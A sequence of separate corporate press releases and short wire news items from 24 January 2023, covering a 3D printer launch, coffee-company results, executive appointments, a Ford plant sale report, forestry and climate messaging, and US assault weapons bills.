BROOKLYN, N.Y. and UTRECHT, Netherlands, Jan. 24, 2023 /PRNewswire/ -- UltiMaker , a global leader in desktop 3D printing, today announced the launch of the UltiMaker S7 - the latest entry in the company's best-selling series of 'S' 3D printers.





"Over 25,000 customers innovate with the UltiMaker S5 every day, making the award-winning machine one of the market's most used professional 3D printers," says UltiMaker CEO Nadav Goshen. "With the S7, we took everything our customers loved about the S5 and made it even better." The UltiMaker S7 introduces a range of new features designed for ease of use and print reliability. A new flexible build plate makes removing prints a breeze and the integrated Air Manager filters out up to 95% of UFPs and improves temperature regulation. The S7 also features improved automated bed leveling for reliable first-layer adhesion.

Material partner, igus - who aims to deliver plastic materials for longer life - had the opportunity to preview the S7 and test the system. Their AM Development Engineer, Niklas Eutebach states: "We saw that the new bed leveling system on the S7 really helps us print very precise parts with the right mechanical properties using our materials."

Advances in temperature regulation on the S7 allow users to capitalize on the large 330 x 240 x 300 mm build volume - with reliable accuracy from the first printed layer to the last. The flexplate also provides easy part removal post printing, reducing labor so users can get on with other tasks.

Luke Taylor, Marketing Manager at Polymaker - a producer of high-performance 3D printing materials - also had the chance to test the S7 with a real customer application, printing a carbon fiber mold for the spoiler of a race car. "This part is just about as big as you can print on the S7," he explains. "It has some sharp corners, so I thought we could test out the adhesion to the new flexplate, and see how our CoPA material works with such a large part. And the results were great!"

The S7 will be compatible with the UltiMaker ecosystem of over 200 materials and offers seamless integration with industry-leading software, UltiMaker Cura, easy printing with the widest range of materials on the market, and support dedicated to customer success. "Of all the ecosystems that are available, the UltiMaker ecosystem is the most comprehensive," states Taylor.

With the S7 Pro Bundle, users can also pair the S7 with the UltiMaker Material Station to print with up to six spools with automatic material switching and humidity control.

"The UltiMaker S7 is a fantastic addition to our S-Series of printers," says Goshen, concluding, "As more customers are using 3D printing to grow and innovate their business, our goal is to provide them with a complete solution to be successful. With the new S7, customers can be setup and running in minutes: managing printers, users, and designs with our Digital Factory software, improving their 3D printing knowledge with e-learning courses on the UltiMaker Academy, and choosing from hundreds of materials and plugins using the UltiMaker Cura Marketplace."

To learn more about the S7, visit https://ultimaker.com/s7

Note to Editors

Media are invited to a virtual demonstration of the UltiMaker S7 on 7th February. To register your interest, please contact Incus, contact details as below.

About UltiMaker

UltiMaker is a global leader in the 3D printing industry with the mission to accelerate the adoption of additive manufacturing by providing a comprehensive desktop 3D printing ecosystem of hardware, software, and materials. UltiMaker combines two of the leading desktop 3D printing brands-Ultimaker and MakerBot-to advance the availability of accessible and easy-to-use 3D printing solutions for any application, while inspiring the industry to a future state of responsible and sustainable manufacturing.

Ultimaker is a trademark or registered trademarks of Ultimaker B.V. All other trademarks are the property of their respective owners.

Photo: https://mma.prnewswire.com/media/1988291/UltiMaker_S7.jpg

Logo: https://mma.prnewswire.com/media/1988292/Ultimaker_Logo.jpg





View original content:https://www.prnewswire.co.uk/news-releases/ultimaker-launches-the-s7---the-new-flagship-s-series-3d-printer-301728555.html
PRESS RELEASE



Amsterdam, 24 January 2023





Key Highlights

JDE Peet's has made significant progress on its growth and purpose - led strategy t hat was introduced in March 202 1 , and which supported a strong set of quality results s ince the company entered the public market

The company has successfully accelerated growth in the US and in emerging markets, while strengthening capabilities and competitiveness in Digital C ommerce and Single-Serve appliance s

JDE Peet's' ESG performance and ambitions substantially increased in 2022 . The company has defined the roadmap of initiatives that will enable a new commitment to net - zero, and built a n integrated new carbon accounting platform to track and accelerate the delivery of its ESG objectives

The company announce d the launch of a new , full y compostable coffee capsule in 2023 , which allows for a n uncompromising high-quality in-cup experience

JDE Peet'sconfirmedFY 22results to be in line with its outlook, providedits outlook for FY 23 and reiterated its medium- to long-term targets

JDE Peet's (EURONEXT: JDEP), the world's leading pure-play coffee and tea company by revenue, is hosting its Strategic Update Meeting for institutional investors and analysts in Amsterdam today. During this event, the company provided, among other things, an update on its achievements and progress versus its strategic roadmap, a selection of preliminary financial results for FY 22 as well as its outlook for 2023.

"I am very pleased with the progress we have made since we introduced our updated strategy two years ago," said Fabien Simon, CEO of JDE Peet's. "In spite of the challenging macro-economic environment, we are delivering on our commitments to build astronger,more productive, and more inclusive enterprise. Wekept high-quality standards for our consumers and customers,meaningfully reinvested in core assets,rebuilt employeepride and engagement, transformed from a laggard to a leader in ESG, while resuming cost competitiveness and achieving our financial commitments. Strengthening our fundamentals, our brands and our innovation capabilitieselevates our growth trajectoryand our ability to create a sustaininglong-term shareholder return and societal value."

Launch of a new,compostable coffee capsule to accelerate the sustainability agenda

The company will launch a fully compostable capsule in 2023, which will contribute to a circular economy. This new-to-the-world technology allows for a high-quality in-cup experience that was not achievable in existing compostable alternatives to date. This innovation will be introduced in selected markets throughout 2023 under L'OR, the global leading grocery brand in espresso capsules.

ESG performance & ambitions substantially increased in 2022 and a company-wide carbon accounting system has been implemented to track and support a net-zero future

In line with the company's purpose to unleash the possibilities of coffee and tea to create a better future, JDE Peet's has made significant progress on its sustainability agenda over the last two years. In addition to the reduction of its scope 1 & 2 green-house-gases by 17% since 2020, one of the key achievements in 2022 was the increase in responsibly sourced coffee from 30% in 2021 to 77%. In 2023, JDE Peet's will submit its stronger and new SBTi ambition to net-zero.

PreliminaryFY 22 financial results1

At the occasion of its Strategic Update Meeting, JDE Peet's confirms its 2022 outlook and shares the following preliminary, unaudited results related to FY 22:

Sales increased by 16.4%, driven by organic growth of 11.3%

Gross profit increased by 3.3%

SG&A increased by 10.6%, driven by working-media and other growth-related investments

Adj. EBIT decreased by 5.9%, and organically by -9.3%, as SG&A increased

Underlying EPS increased to EUR 1.91

Free cash flow of more than EUR 1.3 bn with a net leverage of 2.65x

The company will publish its FY 22 financial statements as scheduled on 22 February 2023, which may slightly deviate from the preliminary results set out in this release.

Outlook FY 2023

The company shared the following outlook for FY 23:

Organic sales growth at the high end of its medium-term range of 3 - 5%

Low single-digit organic adjusted EBIT growth, with a moderate increase in SG&A

A stable dividend

Medium- to Long-Term Targetsreiterated

For the medium- to long-term, JDE Peet's continues to target organic sales growth of 3 to 5% and mid-single digit organic adjusted EBIT growth, a free cash flow conversion of approximately 70% and stable to increasing dividends over time.

Additional information

The presentation slides of the event can be found hereand a video replay of the event, including synchronised slides, will be made available on the same webpagethe next day.

1This press release contains certain non-IFRS financial measures and ratios, which are not recognised measures of financial performance or liquidity under IFRS. For a reconciliation of these non-IFRS financial measures to the most directly comparable IFRS financial measures, see page 7 of the H1 22 Earnings Release.Organic sales and organic adjusted EBIT are adjusted for new business ventures.





# # #

Forward-looking Statements

These materials contain forward-looking statements as defined in the United States Private Securities Litigation Reform Act of 1995 concerning the financial condition, results of operations and businesses of the Group. These forward-looking statements and other statements contained in these materials regarding matters that are not historical facts and involve predictions. No assurance can be given that such future results will be achieved. Actual events or results may differ materially as a result of risks and uncertainties facing the Group. Such risks and uncertainties could cause actual results to vary materially from the future results indicated, expressed or implied in such forward-looking statements. There are a number of factors that could affect the Group's future operations and could cause those results to differ materially from those expressed in the forward-looking statements including (without limitation): (a) competitive pressures and changes in consumer trends and preferences as well as consumer perceptions of its brands; (b) fluctuations in the cost of green coffee, including premium Arabica coffee beans, tea or other commodities, and its ability to secure an adequate supply of quality or sustainable coffee and tea; (c) global and regional economic and financial conditions, as well as political and business conditions or other developments; (d) interruption in the Group's manufacturing and distribution facilities; (e) its ability to successfully innovate, develop and launch new products and product extensions and on effectively marketing its existing products; (f) actual or alleged non-compliance with applicable laws or regulations and any legal claims or government investigations in respect of the Group's businesses; (g) difficulties associated with successfully completing acquisitions and integrating acquired businesses; (h) the loss of senior management and other key personnel; and (i) changes in applicable environmental laws or regulations. The forward-looking statements contained in these materials speak only as of the date of these materials. The Group is not under any obligation to (and expressly disclaim any such obligation to) revise or update any forward-looking statements to reflect events or circumstances after the date of these materials or to reflect the occurrence of unanticipated events. The Group cannot give any assurance that forward-looking statements will prove correct and investors are cautioned not to place undue reliance on any forward-looking statements. Further details of potential risks and uncertainties affecting the Group are described in the Company's public filings with the Netherlands Authority for the Financial Markets (StichtingAutoriteitFinancieleMarkten) and other disclosures.

Market Abuse Regulation

This press release contains information within the meaning of Article 7(1) of the EU Market Abuse Regulation.

Enquiries

Media

Khaled Rabbani

+31 20 558 1753

Media@JDEPeets.com



Investors & Analysts

Robin Jansen

+31 20 55 81212

IR@JDEPeets.com

About JDE Peet's

JDE Peet's is the world's leading pure-play coffee and tea company, serving approximately 4,500 cups of coffee or tea per second. JDE Peet's unleashes the possibilities of coffee and tea in more than 100 markets, with a portfolio of over 50 brands including L'OR, Peet's, Jacobs, Senseo, Tassimo, Douwe Egberts, OldTown, Super, Pickwick and Moccona. In 2021, JDE Peet's generated total sales of EUR 7 billion and employed a global workforce of more than 19,000 employees. Read more about our journey towards a coffee and tea for every cup at www.jdepeets.com.

Attachment
CHICAGO, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Amlan International, the animal health business of Oil-Dri Corporation of America and a global leader in mineral-based feed additives that optimize the intestinal health of poultry and livestock, announces the appointment of Chris Dyer as its Director of Sales, North America. In the role, Chris will work to advance Amlan's development strategies and present mineral-based solutions for customers in the U.S. and Canada. Chris' expertise in poultry production and animal health sales expands upon Amlan's recent focus on organizational growth and future sustained success in North American markets.

"We are impressed by Chris' strong track record of customer relationship development and the sales excellence he brings to Amlan. He will be key to the delivery of our highly researched mineral-based feed additives to producers in North America," said Heath Wessels, Vice President of Sales, The Americas. "The market is eagerly seeking natural products to maximize profitability in poultry and livestock, as their customers demand high-quality animal proteins. Chris' expertise in the North American market will help us showcase our mineral-based products' high value and demonstrate how natural feed additives can benefit their operations."

Chris has more than 35 years of experience in the poultry industry where he began his career as a hatchery and production manager. He led a team of regional account managers in the U.S. and Canada and was responsible for a multimillion-dollar program of medicated feed additives, biologicals and bio-device business. From there, Chris moved into a leadership role at a major poultry production business where he oversaw parent stock breeder sales in the U.S., Canada, Mexico and Central America.

"The Americas represent 41 percent of global broiler meat production and Amlan's mineral-based feed additives like Sorbiam continue to demonstrate efficacy in this growing marketplace," said Dr. Wade Robey, Vice President of Agriculture, Oil-Dri, and President, Amlan International. "Chris' experience as a business unit leader and his strong relationships align with our organizational efforts to ensure continued growth for Amlan in the North America region; we're excited to have him on the team."

Chris has numerous managerial certifications through the Strategic Account Management Association. He graduated from the University of Georgia with a B.S. in Agriculture.

Chris is pleased to be a part of the Amlan team that will be participating in the International Production and Processing Expo (IPPE) January 24-26, 2023, in Atlanta, Georgia. Chris looks forward to welcoming a global audience of animal production professionals and sharing more about Amlan's range of products with attendees, media and other exhibitors at Amlan's booth, B5453.

For more information on Amlan International, please visit www.amlan.com

Company Information

Amlan is the animal health business of Oil-Dri Corporation of America, a leading global manufacturer and marketer of sorbent minerals. Oil-Dri leverages over 80 years of expertise in mineral science to selectively mine and process its unique mineral for consumer and business-to-business markets. Oil-Dri Corporation of America doing business as "Amlan International" is a publicly traded stock on the New York Stock Exchange (NYSE: ODC). Amlan International sells feed additives across the world. Product availability may vary by country; associated claims do not constitute medical claims and may differ based on government requirements.

Reagan Culbertson

Media Contact

press@amlan.com

A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/46b3e8d9-669b-46ca-8d74-8df533a6986f
DEARBORN (dpa-AFX) - Ford Motor Company (F) is in discussions with Chinese auto maker BYD Co. to sell its Saarlouis plant in Germany, The Wall Street Journal reported, quoting people familiar with the matter. Financial terms and other details are not yet known. Executives from the American automaker in Germany are expected to reach China next week to meet the Chinese company officials to discuss the potential sale of a plant in Saarlouis. The plant is scheduled to stop production in 2025, the financial daily added. Saarlouis body and assembly facility is spread over an area of 296 acres with a total staff of around 6,190. Opened in 1970, the plant currently makes Focus, Focus Electric, and Focus ST models. Copyright(c) 2023 RTTNews.com. All Rights Reserved Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
NORTHAMPTON, MA / ACCESSWIRE / January 24, 2023 / The United Nations Sustainable Development Goal 13, which urges action to combat climate change and its impacts, is arguably the most relevant UNSDG for Sappi. The pulp and paper sector ranks third in the manufacturing sector for energy consumption, according to the US Energy Information Administration. At the same time, trees-with their natural ability to sequester and store carbon-are the primary raw material used for the manufacture of pulp and paper, and they are identified as playing a key role in addressing climate change. The vital role of trees was evident at the fall 2021 UN Climate Change Conference (COP26) in Glasgow, Scotland, where 141 leaders committed to halt and reverse forest loss and land degradation by 2030, as outlined in the Glasgow Leaders' Declaration on Forests and Land Use.

The signatories noted "the critical and interdependent roles of forests  to help achieve a balance between anthropogenic greenhouse gas emissions and removal by sinks; to adapt to climate change; and to maintain other ecosystem services." To say it is an exciting time to be in the wood products industry is an understatement.

Sappi is well positioned to make a difference. First, we continue to focus on reducing the energy intensity and greenhouse gas (GHG) emissions associated with our operations, as evidenced by two of our 2025 goals-to decrease specific total energy and specific GHG emissions-as well as by our commitment to the Science Based Targets initiative.

Second, we source our wood from North American regions that are climate healthy. The Forest Resources Association issues a carbon report for each state. In Maine, the forest carbon stocks have increased by 5% from 1990 to 2019, and in Minnesota by 8% over the same period.

The role of our forests in mitigating climate change is essential. However, that does not mean that forests should not be harvested. While forest preservation has a place, active forest management has a significant role to play-perhaps even more so in the face of climate change and the unique challenges that come with it, such as drought and pests, making forests even more vulnerable to significant devastation by wildfire. In both Maine and Minnesota, we may be reaching a biological tipping point. The University of Maine applied a metric for forest health, called "relative density," to national inventory data. The hypothesis is that the greater the relative density of the forest, the more vulnerable it will be to the threats posed by a changing climate.

"Natural climate solutions" is the term used today to describe the forestry sector's path forward. These include management actions such as conservation, restoration, and/or improved land management that increases carbon storage and/or avoids greenhouse gas emissions across global forests, wetlands, grasslands, and agricultural lands.

Sappi recently participated in the Forest Solutions Group of the World Business Council for Sustainable Development, which released its first Forest Sector Net-Zero Roadmap report, Enabling the transition to a net-zero economy, at COP26. The report calls on policymakers, investors, and forest product customers to leverage the potential of sustainable working forests and their products in the transition to a net-zero economy.

Sarah Price, Sustainability Manager for Sappi Europe, who is actively engaged in the Forest Solutions Group effort, participated in a COP26 panel that highlighted the need for working forests to serve as natural climate solutions.

Sappi is committed to addressing SDG 13, and this story speaks to the mitigation of GHG emissions through working forests.

View additional multimedia and more ESG storytelling from Sappi North America on 3blmedia.com.

Contact Info:

Spokesperson: Sappi North America

Website: https://www.3blmedia.com/profiles/sappi-north-america

Email: info@3blmedia.com

SOURCE: Sappi North America

View source version on accesswire.com:https://www.accesswire.com/736511/Working-Forests-Serve-as-Natural-Climate-Change-Solution
Toronto, Ontario--(Newsfile Corp. - January 24, 2023) - Aurelius Minerals Inc. (TSXV: AUL) (OTCQB: AURQF) (the "Company" or "Aurelius") regrets to announce the resignation of Jeremy Niemi, its Vice President, Exploration effective immediately. Mr. Niemi is leaving the Company to pursue other opportunities. The Company wishes Jeremy every success in his future endeavours and wishes to thank him for his contribution to Aurelius over the past five years.

About Aurelius

Aurelius is a gold exploration company focused on advancing its Aureus Gold Properties, including Aureus East and West, the Tangier Gold Project and the Forest Hill Gold Project located in Nova Scotia and described in detail in the Company's press release of November 18, 2019.

Aurelius also holds two district-scale gold projects in the Abitibi Greenstone Belt in Ontario, Canada, one of the world's most prolific mining districts; the 968-hectare Mikwam Property, in the Burntbush area on the Casa Berardi trend and the 12,425-hectare Lipton Property, on the Lower Detour Trend.

On Behalf of the Board

AURELIUS MINERALS INC.

For further information please contact:

Aurelius Minerals Inc.

Mark N.J. Ashcroft, P.Eng., President and CEO

info@aureliusminerals.com

Tel.: (416) 304-9095

www.aureliusminerals.com

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Note Regarding Forward-Looking Information

This news release contains "forward-looking information" under the provisions of applicable Canadian securities legislation, concerning the business, operations and financial performance and condition of Aurelius. All statements in this press release, other than statements of historical fact, are "forward-looking information" with respect to Aurelius within the meaning of applicable securities laws, including statements with respect to the Company's future drilling and exploration activities, and the anticipated development of the Aureus Gold Properties. Generally, this forward-looking information can be identified by the use of forward-looking terminology such as "plans", "expects" , "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates" , "believes", or variations or comparable language of such words and phrases or statements that certain actions, events or results "may", "could", "would", "should", "might" or "will be taken", "occur" or "be achieved" or the negative connotation thereof. Forward-looking information is necessarily based upon a number of factors and assumptions that, if untrue, could cause the actual results, performances or achievements of Aurelius to be materially different from future results, performances or achievements expressed or implied by such statements. Such statements and information are based on numerous assumptions regarding present and future business strategies and the environment in which Aurelius will operate in the future, including the ability to raise financing, the price of gold, anticipated costs and ability to achieve goals.

Aurelius' ability to continue as a going concern is dependent upon its ability to obtain the necessary financing to conduct future exploration work, to fund its corporate overhead and commitments and to discharge its liabilities as they come due. Although it has been successful in raising financing in the past, there is no assurance it will be able to do so in the future. The Company's ability to continue operations in the normal course of business and repay its liabilities is dependent upon its ability to continue to raise adequate financing. Certain important factors that could cause actual results, performances or achievements to differ materially from those in the forward-looking information include, among others, gold price volatility, litigation risks, regulatory restrictions (including environmental regulatory restrictions and liability), changes in national and local government legislation, taxation, controls or regulations and/or change in the administration of laws, policies and practices, expropriation or nationalization of property and political or economic developments in Canada, delays, suspension and technical challenges associated with projects, higher prices for fuel, power, labour and other consumables, currency fluctuations, the speculative nature of gold exploration, the global economic climate, dilution, share price volatility, competition, loss of key employees, and defective title to mineral claims or property. Although Aurelius believes its expectations are based upon reasonable assumptions and has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking information, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. Mineral Resources are not Mineral Reserves and do not have demonstrated economic viability. There is no certainty that all or any part of the Mineral Resources will be converted to Mineral Reserves. Inferred Mineral Resources are based on limited drilling which suggests the greatest uncertainty for a resource estimate and that geological continuity is only implied. Additional drilling will be required to verify geological and mineralization continuity and the assumption that the Inferred Mineral resources could be upgraded to Indicated Mineral Resources.

The Company provides forward-looking information for the purpose of conveying information about current expectations and plans relating to the future and readers are cautioned that such statements may not be appropriate for other purposes. By its nature, this information is subject to known and unknown risks, uncertainties and other important factors that may cause the actual results, level of activity, performance or achievements of Aurelius to be materially different from those expressed or implied by such forward-looking statements, including but not limited to: risks related to difficulties in executing future exploration programs at the Aureus Gold Properties, the Mikwam property and the Lipton property on the Company's within its cost and scheduling estimates, whether due to weather conditions, availability or interruption of power supply, mechanical equipment performance problems, natural disasters or pandemics in the areas where it operates; risks related to current global financial conditions; competition within the industry; actual results of current exploration activities; environmental risks; changes in project parameters as plans continue to be refined; future price of gold; operating risks; accidents, labour disputes and other risks of the mining industry; delays in obtaining approvals or financing; as well as those factors, risks and uncertainties identified and reported in Aurelius' public filings under Aurelius' SEDAR profile at www.sedar.com. Although Aurelius has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking information, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. Accordingly, readers should not place undue reliance on forward-looking statements. There can be no assurance that such information will prove to be accurate as actual results and future events could differ materially from those anticipated in such statements. Forward-looking statements are made as of the date hereof and, accordingly, are subject to change after such date. Aurelius disclaims any intention or obligation to update or revise any forward-looking information, whether as a result of new information, future events or otherwise unless required by law.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152300


WASHINGTON (dpa-AFX) - Senators Dianne Feinstein (D-Calif.), Richard Blumenthal (D-Conn.) and Chris Murphy (D-Conn.) have introduced a pair of bills to protect communities from assault weapons.



'The Assault Weapons Ban of 2023' would ban the sale, transfer, manufacture and import of military-style assault weapons and high-capacity magazines and other high-capacity ammunition feeding devices that hold more than 10 rounds of ammunition. This allows shooters to quickly fire many rounds without needing to reload. This type of a gun was used by a shooter on Saturday night to kill 11 people at a Lunar New Year's celebration in Monterey Park, California.



These military-style combat weapons built for the battlefield and designed to maximize death and destruction, continue to be the weapon of choice in most of the mass shootings in the United States in recent years.



The bill exempts by name more than 2,200 guns for hunting, household defense or recreational purposes. It includes a grandfather clause that exempts all weapons lawfully possessed at the date of enactment.



'The Age 21 Act' would raise the minimum age to purchase assault weapons from 18 to 21, the same requirement that currently exists in law for handguns. The legislation would create parity in federal firearms law by prohibiting the sale of assault weapons to individuals under 21.



Rep. David Cicilline (D-R.I) will introduce a companion version of the Assault Weapons Ban in the House.



'We were tragically reminded this weekend of the deadly nature of assault weapons when a shooter used one to kill 11 people and injure 9 more at a Lunar New Year celebration in California,' said Senator Feinstein. 'The constant stream of mass shootings have one common thread: they almost all involve assault weapons. It's because these weapons were designed to kill as many people as quickly as possible. They have no business in our communities or schools. It's time we stand up to the gun lobby and remove these weapons of war from our streets, or at the very least keep them out of the hands of young people,' he added.



The House of Representatives had passed the assault weapons ban last year with bipartisan support, which was then blocked by Senate Republicans.



President Joe Biden urged both chambers of Congress to act quickly and deliver the Assault Weapons Ban bill to his desk to sign it into law.



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Silicon Valley veteran product leader to guide the company's long-term product ecosystem strategy

GUADALAJARA, MEXICO / ACCESSWIRE / January 24, 2022 / Kueski , one of the largest buy now, pay later (BNPL) and online consumer lenders in Latin America, today announced the appointment of Fausto Ibarra as the company's Chief Product Officer. Ibarra will be responsible for leading the company's long-term vision for its financial services product ecosystem.

Ibarra's main priorities as Chief Product Officer are to guide Kueski's product strategy in alignment with market conditions, consumer demands and the company's broader business objectives to ensure Kueski continues to deliver the best products to consumers.

"Having grown up in Mexico, I understand and empathize with just how important it is for companies like Kueski to create products that help consumers gain better control over their finances, while helping businesses grow and attract new customers at the same time," Ibarra said. "Kueski is uniquely positioned to help consumers and businesses realize their dreams, and I applaud Adal and his team for building an extraordinary company through its culture of innovation and excellence. I'm excited about where we will go next."

Ibarra, who is based in Silicon Valley, brings more than 20 years of experience in product leadership to Kueski, having most recently served as Stripe's Head of Product for Latin America. He also previously held leadership positions at technology giants such as Meta, Google and Microsoft where he gained knowledge about best practices for planning product strategy, working directly with engineering teams and ultimately creating high-quality products that customers love and that are successful in the market.

"We look forward to welcoming Fausto to the team where he will be able to leverage his past experience - particularly his product management and fintech experience in Latin America - to help us continue along our path of innovation," said Adalberto Flores, founder and CEO of Kueski. "We continue to have great potential to impact the lives of Mexican consumers by connecting them to the formal economy, and we look forward to continuing to expand our ecosystem through 2023 and beyond."

The addition of Ibarra is a testament to Kueski's continuous growth and momentum. With more than 720 employees, Kueski recently celebrated its 10-year anniversary of financial service operations. Since its inception in 2012, Kueski has disbursed almost 10 million loans to 1.7 million users across its products, Kueski Pay and Kueski Cash, totaling more than $1.4 billion in loan transactions.

About Kueski

Kueski is one of the largest buy now, pay later (BNPL) and online consumer lending companies in Latin America, providing financial services to consumers and connecting the Mexican economy through its innovative product ecosystem. This ecosystem consists of Kueski Pay, the company's BNPL product available online and in-store, and Kueski Cash, its personal loans product. Founded in 2012 with the mission of making the financial lives of people in Mexico easier, Kueski leverages technologies such as artificial intelligence and big data to expand access to traditional financial products and services. To date Kueski has raised over $300 million in equity and debt financing and, among its growing list of accolades, was recently named to CB Insights' Fintech 250 List.

U.S. Media Contact

Rachel Stingone

914-473-5742

rachel@calibercorporateadvisers.com

SOURCE: Kueski

View source version on accesswire.com:https://www.accesswire.com/736514/Kueski-Appoints-Former-Stripe-Executive-Fausto-Ibarra-as-Chief-Product-Officer
STEAMBOAT SPRINGS, CO / ACCESSWIRE / January 24, 2023 / WESTERN SIERRA RESOURCE CORPORATION (OTC PINK:WSRC) provides this Shareholder Update to summarize events and activities over the last twelve months.

Founded in 1907, Western Sierra Resource Corporation (a Utah corporation), has a 116-year history as gold and silver mining company with projects in Arizona, Nevada, California, and Mexico. The Company's missionhas, over recent years, been to reposition itself as a multifaceted, natural resource company with its focus on innovative methodologies for conservation, restoration, preservation, and beneficial use of water, land, agriculture, minerals, and energy.

In keeping with its corporate mission, on August 6, 2022, a long-standing relationship between the Principals of WSRC and Principals of Mitigation Solutions, LLC (MSL) was formalized with the contract acquisition of MSL by WRSC (as a wholly owned subsidiary). The acquisition was announced on September 20, 2022. One catalyst for this cash and stock transaction was the potential for MSL to execute a contract with the Santa Maria Valley Water Conservation District (SMVWCD) for MSL to complete a State and Federally Funded 7-to-10-year mitigation/restoration of the Twitchell Dam and Reservoir site in Santa Barbara County, CA. MSL executed a binding Memorandum of Understanding with SMVWCD on September 17, 2022 and the formal $1.5 to $2.0 Billion contract was executed by all parties on October 19, 2022. The feasibility study that ratified the formal contract was approved on January 19, 2023. Work began with mobilization of heavy equipment to the site during the week of January 8, 2023. This contract is expected to generate average annual gross revenue to the Company of $200,000,000 for up to 10 years. Additional contract mitigation opportunities are now under review.

Roger Johnson, President, and CEO of Western Sierra stated: "We are very excited to welcome Scott Hastings and Jeff Jones to the management team at WSRC. After working with them both closely over the last 6 months it's become even more evident that they are consummate professionals with expertise in a wide range of large-scale construction, mitigation, and restoration disciplines. The depth of knowledge and experience they bring to the company - clearly demonstrated through the initial emergency mobilization phase of this first mitigation project together - dramatically expands the Company's reach into a variety of long-term revenue generating and service-related endeavors. The MSL projects these gentlemen are capable of generating, combined with WSRC's asset building endeavors - and with the benefit of WSRC's Dennis Atkins' (CFO/CPA) oversight, bode very well for WSRC's financial future. We appreciate the patience and support our shareholders have demonstrated through what has been an often-challenging time for capital formation and production even in a climate of remarkable opportunity."

Prior to WSRC's acquisition of MSL, the Company met, and now substantially resolved several unforeseen events during the first six months of 2022:

In December of 2021, a Form 10 Registration Statement complete with two year's audited financial statements was filed with the SEC for proposes of changing WSRC's status as a "current information" company to that of a "full reporting" company. In January 2022, an additional requirement was added to include an Audited Annual Financial Statement for 2021. Audited Financial Statements (2019 and 2020) were included in the original filing. Because the Form 10 Registration Statement was originally scheduled to become "effective" on February 21, 2022, and since the 2021 audit could not be completed until April of 2022, the Form 10 was withdrawn until such time as the 2021 audited financials could be filed. In March, 2022, the SEC notified the Company of their requirement for substantial additional documentation, which the Company then immediately provided. The year-end 2021 Audited Financial Statements (2021 Annual Report) were completed and filed on April 9, 2022. It is the Company's intent to re-file the Form 10 as soon as the 2022 audit is completed.

In February 2022, and despite strong performance during the previous 12 months, Global Hemp Group (GHG) met a delay in meeting its financial commitments to close a transaction with WSRC. This closing was integral to completion of a collaborative hemp-based Colorado real estate and agricultural project ("HAIZ"). During the previous 12 months, land had been purchased; planning and engineering largely completed; and preliminary approvals obtained. As a result of this unintended delay, the Companies, both independently and collectively, worked aggressively to arrange alternative funding through a variety of private and institutional sources.

In May 2022, WSRC executed a binding funding agreement with Beton, Inc. to provide $10 million in debt financing to close in July 2022, with an additional $15 million in the form of a prepaid five-year lease to close incrementally from July 31, 2022, through the end of calendar year 2022. Beton, Inc., due apparently to effects of the volatile 2022 alternative currency markets, was unable to consummate the secured debt financing transaction scheduled for July 31, 2022, and likewise unable to fulfill its prepaid lease obligation over the remaining 5 months of 2022.

Note: WSRC maintains ongoing communication with both Global Hemp Group and Beton, Inc. and continues to invite both companies to participate in the capitalization and restructure of collaborative projects for 2023. However, in the interim, additional third-party Institutional sources have processed and nearly completed underwriting for up to $28 million in WSRC project financing for Winter/Spring of 2023.

Current: Now that the first mitigation project is underway with MSL as a wholly owned WSRC subsidiary, the resulting multi-year net (after expense) scheduled contract revenue, combined with an enhanced borrower profile for the Company, has created additional opportunity for capitalization of the Company's other projects; among them:

Vertically Integrated Land, Water, Agriculture, Affordable Housing

The Company is actively engaged in the planning process to initiate the planting, irrigation, cultivation, and processing of industrial hemp for manufacture of "green" building materials, and subsequent use of those materials in the construction of affordable homes in the Steamboat Springs, Colorado Resort market. Pent-up demand for affordable homes in this market is an estimated 2500 units. Traditional construction methods may be necessarily utilized for the first phase of this 870-acre PUD. The necessary commercial, residential, and agricultural acreage for this project has either been acquired or is currently under agreement to purchase.

Mining Resources

SAGE HEN SITE. The Company (in June 2021) acquired a 70% Stake in Silver State Mining Group (SSMG) and its Sage Hen reserve evidencing commercially recoverable Gold (AU), Silver (Ag), Platinum (PT), Palladium (PD), and Rhodium (RH). The Company, in concert with Silver State Mining Group, is currently working to establish a $12 million, 100 ton per day enhanced processing facility for direct development at the Sage Hen site.

Helium & Natural Gas

The WSRC Helium Joint Venture being negotiated has been expanded. In addition to active helium projects the JV would also include conventional oil and natural gas exploration drilling prospects identified using proprietary and open source geological and geophysical data to identify areas with potentially significant oil and natural gas reserves. Areas within the boundary of the Helium production projects may overlap with viable oil and gas prospects. The joint venture anticipates developing, in addition to the helium opportunities, 3 to 6 oil and gas projects per year beginning in 2023.

Energy & Conservation Technologies

The Company has been, (by and through its Mystere Power Group, LLC (MPG) team), developing, testing, adapting, patenting, and actively marketing a number of disruptive and innovative technologies. These technologies are focused on the reduction of energy consumption in heating and cooling (HVAC) and refrigeration systems; on effectively and non-chemically eliminating airborne pathogens in commercial buildings; on the generation of clean energy using a turbine system for cost-effective off-grid power generation; and, on utilizing air-water generation (AWG) technology to meet domestic water requirements in arid climates. Several of these technologies are applicable to and will likely be incorporated into the Company's proposed land, water, agriculture, and affordable housing development project.

About Western Sierra Resource Corporation:

Founded in 1907, Western Sierra Resource Corporation (a Utah corporation), has 116-year history as gold and silver mining company with projects in Arizona, Nevada, California, and Mexico. The Company's mission objective has been adapted to grow as a multifaceted, natural resource company with its focus on innovative methodologies for conservation, restoration, preservation, and beneficial use of water, land, agriculture, minerals, and energy.

